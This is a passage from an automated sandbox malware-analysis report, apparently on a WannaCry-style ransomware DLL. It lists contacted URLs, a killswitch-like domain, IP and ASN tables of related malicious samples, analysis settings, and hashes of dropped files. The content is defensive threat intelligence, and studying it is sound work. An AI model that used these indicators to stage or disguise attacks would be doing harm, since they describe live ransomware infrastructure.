                                                                          		high
                                                                          https://activity.windows.comsvchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.bingmapsportal.comsvchost.exe, 00000014.00000002.316213625.0000020007A13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJmssecsvc.exe, 00000004.00000002.529228589.000000000019C000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://%s.dnet.xboxlive.comsvchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		low
                                                                                    https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high

                                                                                        World Map of Contacted IPs

                                                                                        • No. of IPs < 25%
                                                                                        • 25% < No. of IPs < 50%
                                                                                        • 50% < No. of IPs < 75%
                                                                                        • 75% < No. of IPs

                                                                                        Public IPs

                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                        104.16.173.80
                                                                                        		www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comUnited States
                                                                                        		13335CLOUDFLARENETUStrue

                                                                                        Private

                                                                                        IP
                                                                                        192.168.2.1
                                                                                        127.0.0.1

                                                                                        General Information

                                                                                        Joe Sandbox Version:35.0.0 Citrine
                                                                                        Analysis ID:669656
                                                                                        Start date and time: 20/07/202208:07:172022-07-20 08:07:17 +02:00
                                                                                        Joe Sandbox Product:CloudBasic
                                                                                        Overall analysis duration:0h 15m 36s
                                                                                        Hypervisor based Inspection enabled:false
                                                                                        Report type:full
                                                                                        Sample file name:kBBdc7Aoj4 (renamed file extension from none to dll)
                                                                                        Cookbook file name:default.jbs
                                                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                        Number of analysed new started processes analysed:24
                                                                                        Number of new started drivers analysed:0
                                                                                        Number of existing processes analysed:0
                                                                                        Number of existing drivers analysed:0
                                                                                        Number of injected processes analysed:17
                                                                                        Technologies:
                                                                                        • HCA enabled
                                                                                        • EGA enabled
                                                                                        • HDC enabled
                                                                                        • AMSI enabled
                                                                                        Analysis Mode:default
                                                                                        Analysis stop reason:Timeout
                                                                                        Detection:MAL
                                                                                        Classification:mal100.rans.troj.evad.winDLL@30/43@2/3
                                                                                        EGA Information:
                                                                                        • Successful, ratio: 50%
                                                                                        HDC Information:
                                                                                        • Successful, ratio: 30.3% (good quality ratio 27.5%)
                                                                                        • Quality average: 75.1%
                                                                                        • Quality standard deviation: 32.4%
                                                                                        HCA Information:
                                                                                        • Successful, ratio: 55%
                                                                                        • Number of executed functions: 18
                                                                                        • Number of non-executed functions: 99
                                                                                        Cookbook Comments:
                                                                                        • Adjust boot time
                                                                                        • Enable AMSI
                                                                                        • Override analysis time to 240s for rundll32

                                                                                        Warnings

                                                                                        • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe
                                                                                        • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.31.108.18, 20.238.103.94
                                                                                        • Excluded domains from analysis (whitelisted): maertl.com, nydasx.com, updviw.com, ynocfi.com, fs-wildcard.microsoft.com.edgekey.net, lwmast.com, wqdqvo.com, jlbhfg.com, yqdctm.com, acgwup.com, pwdtvr.com, lsejdl.com, oxhldj.com, www.bing.com, ahyoog.com, qmjbki.com, ris-prod.trafficmanager.net, iowlim.com, iytcia.com, foywzb.com, ris.api.iris.microsoft.com, hmjwyh.com, umzfvu.com, zojkvx.com, boscgs.com, eooqal.com, pldwaw.com, ayxdyj.com, zjzgzx.com, yfjfhe.com, hiwfme.com, lodyin.com, fpieey.com, foubsw.com, e12564.dspb.akamaiedge.net, aecioj.com, arc.trafficmanager.net, rvdjxp.com, ntafnh.com, prod.fs.microsoft.com.akadns.net, xwaezn.com, kaolci.com, dnfawt.com, avapka.com, eyzovp.com, ant.trenz.pl, qiicsw.com, uefroj.com, ykuype.com, imesri.com, yojfkx.com, zsojpp.com, boiyvi.com, ooecff.com, utubwt.com, abuppo.com, ynbdei.com, ezsibf.com, xdqbja.com, miypiw.com, gyablb.com, vquyis.com, bytlkv.com, oiozmk.com, nazbae.com, wujogm.com, zyedxf.com, aolfou.com, yiuiob.com, jfelvk.com, login.live.com, bhwmik.c
                                                                                        • Execution Graph export aborted for target mssecsvc.exe, PID 6500 because there are no executed function
                                                                                        • Execution Graph export aborted for target tasksche.exe, PID 6332 because there are no executed function
                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                        • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                        • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                                        • VT rate limit hit for: kBBdc7Aoj4.dll

                                                                                        Simulations

                                                                                        Behavior and APIs

                                                                                        TimeTypeDescription
                                                                                        08:08:33API Interceptor1x Sleep call for process: loaddll32.exe modified
                                                                                        08:08:59API Interceptor3x Sleep call for process: svchost.exe modified

                                                                                        Joe Sandbox View / Context

                                                                                        IPs

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                        104.16.173.80v8Rhp4teOl.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        ITgIVInsO8.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        tct5NKwZY8.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        pELfdGty4M.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        nE1ElepZ0Y.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        fY5EzTxPkX.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        8o8AuraQPk.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        hzrx7nbPYA.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        P68vAERoEJ.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        BBHe8pcoiE.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        zvPshEgLJT.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        MRNPA8eYXZ.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        c3VD4rLV4k.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        Jiykx60jnK.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        xjEsX8zPvG.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        7KPQg3aXdC.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        wXLaTnIw6b.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        wI84mV7eWQ.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        NIcNg803dS.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                        rBD1ho1mOR.dllGet hashmaliciousBrowse
                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

                                                                                        Domains

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                        www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comv8Rhp4teOl.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        ITgIVInsO8.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        iOkATLbT5i.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        tct5NKwZY8.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        pELfdGty4M.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        nE1ElepZ0Y.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        fY5EzTxPkX.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        8o8AuraQPk.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        hzrx7nbPYA.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        NBBXoEax5L.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        veh795LK24.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        P68vAERoEJ.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        BBHe8pcoiE.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        zvPshEgLJT.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        MRNPA8eYXZ.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        c3VD4rLV4k.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        Jiykx60jnK.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        xjEsX8zPvG.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        7e6Xyoys8V.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        AQ3MsysxNq.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81

                                                                                        ASNs

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                        CLOUDFLARENETUSv8Rhp4teOl.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        ITgIVInsO8.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        iOkATLbT5i.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        tct5NKwZY8.dllGet hashmaliciousBrowse
                                                                                        • 104.16.173.80
                                                                                        PDAZE3eQB1.dllGet hashmaliciousBrowse
                                                                                        • 162.159.25.173
                                                                                        pELfdGty4M.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        nE1ElepZ0Y.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        fY5EzTxPkX.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        8o8AuraQPk.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        hzrx7nbPYA.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        NBBXoEax5L.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        veh795LK24.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        P68vAERoEJ.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        BBHe8pcoiE.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        changiairport_Report_450887232.pdf.htmlGet hashmaliciousBrowse
                                                                                        • 104.18.11.207
                                                                                        zvPshEgLJT.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        changiairport_Report_450887232.pdf.htmlGet hashmaliciousBrowse
                                                                                        • 104.18.6.145
                                                                                        MRNPA8eYXZ.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        Jiykx60jnK.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81
                                                                                        xjEsX8zPvG.dllGet hashmaliciousBrowse
                                                                                        • 104.17.244.81

                                                                                        JA3 Fingerprints

                                                                                        ⊘No context

                                                                                        Dropped Files

                                                                                        ⊘No context

                                                                                        Created / dropped Files

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):8192
                                                                                        Entropy (8bit):0.3593198815979092
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
                                                                                        MD5:BF1DC7D5D8DAD7478F426DF8B3F8BAA6
                                                                                        SHA1:C6B0BDE788F553F865D65F773D8F6A3546887E42
                                                                                        SHA-256:BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
                                                                                        SHA-512:00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:.............*..........3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................*.............................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:MPEG-4 LOAS
                                                                                        Category:dropped
                                                                                        Size (bytes):1310720
                                                                                        Entropy (8bit):0.24943806606811508
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4/:BJiRdwfu2SRU4/
                                                                                        MD5:9AFE151B6121F1D10602B4DE73A6C7EF
                                                                                        SHA1:518D3340540D72D6B74CC46280B71233A503079F
                                                                                        SHA-256:CE7DFCB374773F32FBE48CCEC8B3C2183A6A271E6E4AC348510D0C12C4BE5CA1
                                                                                        SHA-512:57942A7A52BAB69783334C5CFFF319D2B0CDAC825D129FE05762CC5C87A12FBB8836814F88BE363A5A67A099F6B93E313B7F574108EF9D0B09D8492026624808
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:Extensible storage engine DataBase, version 0x620, checksum 0x9d96d029, page size 16384, Windows version 10.0
                                                                                        Category:dropped
                                                                                        Size (bytes):786432
                                                                                        Entropy (8bit):0.25069072220981053
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:DTU+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:DTrSB2nSB2RSjlK/+mLesOj1J2
                                                                                        MD5:8E60EBECF122857BBE103549AA02F705
                                                                                        SHA1:BB9955DBAFED958439128A1BB49307311C87424B
                                                                                        SHA-256:51A1E7C608AC8F17F217FED93F5837782442E1E3B232EB02ECC9A50FCFCA85DE
                                                                                        SHA-512:605E115FDA5A082A5108A17FD27C29F067410946E28F6320AA1DF944B0D5A113BBD75780BDE27898347F1B5425813D734D4A934D6EE378288A8A77C21B4687A6
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:...)... ................e.f.3...w........................)..........z..;....z..h.(..........z....)..............3...w...........................................................................................................B...........@...................................................................................................... ...................................................................................................................................................................................................................................................]f.A.....z...................(......z..........................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):16384
                                                                                        Entropy (8bit):0.07693076787038865
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:QtD7veRWipu8EtdNjIVifg/t0ttAll3Vkttlmlnl:QpreRlIvMuvA3
                                                                                        MD5:D88DD6E1B21154430FF40F8D44D04CC3
                                                                                        SHA1:A6360D16956093EDE8407928C084C795CEDCED07
                                                                                        SHA-256:D8A10E41D0AD27B915BB17C9378AE22C4A708E32C2FA5157F201096B3D4BC3BE
                                                                                        SHA-512:68010BB9E1302353A9604602220F09137D28EFB9DC54EE3DAFB2235ADE7C107A67FC556378A73DEAD0E5579F18F847479F169E71615BF59488D3917738BEAFD9
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:..O......................................3...w..;....z.......z...............z.......z..5..{.....z9..................(......z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\4d852226-75b2-4065-92d1-0652af0bd746.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):278
                                                                                        Entropy (8bit):3.399579571092724
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRglLd:ZxMghwLtHSM1Sb9mSMXAvwRYp
                                                                                        MD5:10FE272C51D5F9D30CBC3D1B3BA40982
                                                                                        SHA1:83104434FFFBB1B0D6E985790FA993E28F8C78BD
                                                                                        SHA-256:5726A896D08FBB895BC6329DFEA7728E6704EE91B9F10723D10755BB4C46C77C
                                                                                        SHA-512:E0710B672B5C337B061DBC18EBD80A550D8E5A3CD2F9CBFC7D4F8B1F34E19A7C534CF13978E4A136F65CB800A46C1A39F375B4BA49801448A566943409B92997
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.X.c.v.o.?.v.e.r.=.3.c.0.8...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8c437dfa-92f4-4049-8b62-6b53fc05adf1.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):278
                                                                                        Entropy (8bit):3.4047768496468827
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRyplx9Ol:ZxMghwLtHSM1Sb9mSMXAvwRyL
                                                                                        MD5:62485682937EE746BAB25F28FCF5816C
                                                                                        SHA1:696BE927BF303F7AD32A6C290EEBC14D298C8145
                                                                                        SHA-256:FFA9386F3322BF00F3F3B8B5D54DD823DD84D27F4898E1279B3DBB98F8FD560B
                                                                                        SHA-512:2CA9564C487375A792BE818322EA8733DEFB5AAC6E0264454066518163C435B9E4FB934CED64B9183D0BF2BD7ECB7040C455D2EA04DA2F606F634F0C239A0718
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.W.W.R.l.?.v.e.r.=.a.3.1.4...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\bad7a3e3-d345-4fac-bffd-aa1fde8fafbd.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):278
                                                                                        Entropy (8bit):3.3894363370336076
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRct:ZxMghwLtHSM1Sb9mSMXAvwR
                                                                                        MD5:A27F678F172C642E24DE4740C5B2DBC3
                                                                                        SHA1:36444729D96B371E3B182455FD5416A724875FF3
                                                                                        SHA-256:BF27499FEA1EC1D167352764D5DE5CC87FCE82683C3F8CDB3E3A19086DEC5C82
                                                                                        SHA-512:7846A476F6349EB719D781B6F529DCAAB21140067A54756A3C51E695B20E4C5FF74F5CA798181023D22860E9EA36C9E452EC003AB8A1B242033EB43F3EFA627F
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3f31c6e-41d8-41ac-ba02-6ac52bc2caf3.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):276
                                                                                        Entropy (8bit):3.4254592086414606
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQiVFg:ZxMghwLtHSM1Sb9mSMXAvF
                                                                                        MD5:2D1D78B640153966251B57FEA6C63AA3
                                                                                        SHA1:C5FE8D27464A5D484410BAAE479B9FF74A08A90F
                                                                                        SHA-256:F46B308A9F1984C9AEF68A99236D13102850101B6B9FCE674A0F8019027FDF3D
                                                                                        SHA-512:2673B732132033A437B077137F3D78713D8D4AAFF37039CA82F5C9C070C5A458CDF23A1763696519604A35D4B8A9F1B1E7B2C9071BCAF15425FC2CE5766ABB63
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.H.v.I.T.?.v.e.r.=.d.6.6.3...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c9a2a2fb-c29e-4743-bfce-595d8ad971a5.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):278
                                                                                        Entropy (8bit):3.422473556620063
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRKaMAo4:ZxMghwLtHSM1Sb9mSMXAvwR/M
                                                                                        MD5:053A6748354C63633E9F064D374A3D64
                                                                                        SHA1:F7392A988C29192C2DBB9192931C98C346A03B46
                                                                                        SHA-256:1867022FBB28FC2A1F79ED84CFA93EFEE48C33EF120A7976E594BD497DA2ED3F
                                                                                        SHA-512:175DB5E34D5D66ABCBA2DC76ADF44978A26A70A5CCEA46FF96D3EC85F4F34BA0B571785C3A912E87FD3D194F101339B2D0E988D4A611FFA91F9AC9204BDE5765
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ccea7bc9-b9cd-4aee-9a3f-8b5ab0de2bd6.up_meta

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):276
                                                                                        Entropy (8bit):3.4454221615556895
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQiVbN7:ZxMghwLtHSM1Sb9mSMXAvI
                                                                                        MD5:0EAAD7009967DF3083330DADAFE2CFCA
                                                                                        SHA1:9432D0B1011E01E8EDC44E3243FD39A946D4A637
                                                                                        SHA-256:E64CB433AE95E7C1F083FDB3B749B91D6AEC8145EADD66F779606A69204BCD82
                                                                                        SHA-512:60AA5543C7A24082E31D051214E7CEA571262CC95B929DC9E078123C4F6D7AC243FF41F9CBB65B8BEB53C2A749243BA3F05D83CB5A8A1236AC1A025AA687414D
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.H.n.V.5.?.v.e.r.=.1.3.8.f...........

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658297416 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:Little-endian UTF-16 Unicode text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):336
                                                                                        Entropy (8bit):3.451125706676229
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:Qeu01nAKmsy6AlS5CGQAffetXDdv5XY4ANJdlzYiL+5K5SaNy/G6z:Qeu01n+p65CGIz95INjzYiaU5SaNI
                                                                                        MD5:F53CB45FAD2C234598D0BC4AF6BB1E53
                                                                                        SHA1:FF30E2B2B0E3F28596A91D2899E303535DBEE6A8
                                                                                        SHA-256:8B71F345CA6F108C51A7E07B1672F5A4188BA2F4D4AA60F356F382B6D47A915D
